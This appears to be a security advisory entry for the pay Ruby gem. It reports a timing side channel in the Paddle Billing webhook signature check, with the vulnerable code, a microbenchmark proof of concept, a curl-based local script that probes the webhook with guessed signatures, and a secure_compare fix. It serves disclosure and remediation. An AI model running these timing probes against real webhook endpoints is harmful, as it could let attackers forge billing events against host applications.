+ "details": "## Summary\n\n`Pay::Webhooks::PaddleBillingController#valid_signature?` (`app/controllers/pay/webhooks/paddle_billing_controller.rb`) verifies the Paddle Billing webhook signature by computing `OpenSSL::HMAC.hexdigest(...)` and comparing it to the attacker-supplied header value using Ruby's `String#==`. Ruby's `==` is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (`OpenSSL.fixed_length_secure_compare` / `ActiveSupport::SecurityUtils.secure_compare`).\n\n## Impact\n\n- **CWE-208** — Observable Timing Discrepancy on the webhook signature verifier.\n- An attacker who can deliver requests to the `/pay/webhooks/paddle_billing` mount point can probe the verifier with guessed `Paddle-Signature` header values. Because `String#==` short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.\n- A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. `subscription.created` / `transaction.completed`) against the host application. Pay's webhook processor enqueues a `Pay::Webhooks::ProcessJob` for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.\n- The endpoint is internet-reachable by definition (Paddle must POST events to it).\n\n## Affected versions\n\n`pay` (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).\n\n## Vulnerable code (file:line)\n\n`app/controllers/pay/webhooks/paddle_billing_controller.rb`:\n\n```ruby\n24: def valid_signature?(paddle_signature)\n25: return false if paddle_signature.blank?\n26:\n27: ts_part, h1_part = paddle_signature.split(\";\")\n28: _, ts = ts_part.split(\"=\")\n29: _, h1 = h1_part.split(\"=\")\n30:\n31: signed_payload = \"#{ts}:#{request.raw_post}\"\n32:\n33: key = Pay::PaddleBilling.signing_secret\n34: data = signed_payload\n35: digest = OpenSSL::Digest.new(\"sha256\")\n36:\n37: hmac = OpenSSL::HMAC.hexdigest(digest, key, data)\n38: hmac == h1 # <-- non-constant-time '=='\n39: end\n```\n\n`hmac` is the 64-character hex-encoded SHA-256 HMAC of `\"<ts>:<raw_post>\"` under the application's configured Paddle Billing signing secret. The comparison with `h1` (the attacker-supplied `h1=` token from the `Paddle-Signature` header) uses Ruby's native `String#==`, which is implemented in MRI as `rb_str_equal` and returns immediately on the first byte mismatch.\n\n## How an attacker reaches this code\n\n1. Any Pay-using Rails application mounting `Pay::Engine` exposes `POST /pay/webhooks/paddle_billing` to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in `config/routes.rb` when `paddle_billing` is enabled.\n2. The controller's `before_action :verify_signature` invokes `valid_signature?` on every inbound request.\n3. An attacker repeatedly POSTs forged webhook payloads with `Paddle-Signature: ts=<now>;h1=<guess>` headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of `<guess>` matches the real `hmac`.\n4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.\n\n## Proof of concept (microbenchmark)\n\nLocal Ruby microbenchmark isolating the verifier comparison path:\n\n```ruby\nrequire 'openssl'\nrequire 'benchmark'\nrequire 'securerandom'\n\nkey = SecureRandom.hex(32)\npayload = '1730000000:{\"event_type\":\"transaction.completed\"}'\nreal_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)\nputs \"real_hmac=#{real_hmac}\"\n\ndef verify(real, guess)\n real == guess # mirrors paddle_billing_controller.rb:38\nend\n\nguesses = {\n 'all-wrong' => ('0' * real_hmac.length),\n 'match-1byte' => real_hmac[0..0] + '0' * (real_hmac.length - 1),\n 'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),\n 'match-63byte' => real_hmac[0..62] + '0',\n 'exact-match' => real_hmac.dup,\n}\niters = 10_000_000\n3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } } # warmup\nguesses.each do |label, g|\n t = Benchmark.realtime { iters.times { real_hmac == g } }\n puts \"#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}\"\nend\n```\n\nThis isolates the same `String#==` path used by `valid_signature?`. The static defect is verifiable by `bundle show pay` and reading line 38 of the controller.\n\n## End-to-end reproduction against `gem install pay --version 11.6.1`\n\nMinimal Rails 8 app mounting `Pay::Engine` with `paddle_billing` enabled:\n\n```bash\ngem install rails -v 8.0.2\nrails new payapp --skip-test --skip-bundle\ncd payapp\necho \"gem 'pay', '11.6.1'\" >> Gemfile\necho \"gem 'paddle', '~> 2.0'\" >> Gemfile\nbundle install\nbin/rails g pay:install\n# config/initializers/pay.rb adds Pay.setup, paddle_billing config\n# config/routes.rb already has 'mount Pay::Engine => \"/pay\"' from generator\n\nbin/rails server &\n\n# attacker probes the webhook endpoint\nWEBHOOK=\"http://127.0.0.1:3000/pay/webhooks/paddle_billing\"\nBODY='{\"event_type\":\"transaction.completed\",\"data\":{}}'\nTS=$(date +%s)\n# Try guesses with different prefix-match counts; response-time delta is the oracle\nfor guess in 0000000000000000000000000000000000000000000000000000000000000000 \\\n a000000000000000000000000000000000000000000000000000000000000000 ; do\n for _ in 1 2 3; do\n curl -s -w '%{time_total}\\n' -o /dev/null \\\n -X POST -H \"Paddle-Signature: ts=$TS;h1=$guess\" \\\n -H 'Content-Type: application/json' -d \"$BODY\" \"$WEBHOOK\"\n done\ndone\n```\n\nThe static defect is verifiable by:\n\n```\n$ bundle show pay\n.../gems/pay-11.6.1\n$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb\n hmac == h1\n```\n\nAfter the fix is applied, the verifier uses `ActiveSupport::SecurityUtils.secure_compare`, which compares all bytes regardless of mismatch position, and the timing oracle closes.\n\n## Suggested fix\n\nReplace `==` with `ActiveSupport::SecurityUtils.secure_compare` (Pay is a Rails engine, so ActiveSupport is always available).\n\n```diff\n def valid_signature?(paddle_signature)\n return false if paddle_signature.blank?\n \n ts_part, h1_part = paddle_signature.split(\";\")\n _, ts = ts_part.split(\"=\")\n _, h1 = h1_part.split(\"=\")\n \n signed_payload = \"#{ts}:#{request.raw_post}\"\n \n key = Pay::PaddleBilling.signing_secret\n data = signed_payload\n digest = OpenSSL::Digest.new(\"sha256\")\n \n hmac = OpenSSL::HMAC.hexdigest(digest, key, data)\n- hmac == h1\n+ return false if h1.nil? || hmac.bytesize != h1.bytesize\n+ ActiveSupport::SecurityUtils.secure_compare(hmac, h1)\n end\n```\n\nThe bytesize-equality guard ensures `secure_compare` does not return early on a length mismatch (it falls back to `==` if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.\n\n## Credit\n\nReported by tonghuaroot (https://github.com/tonghuaroot).",
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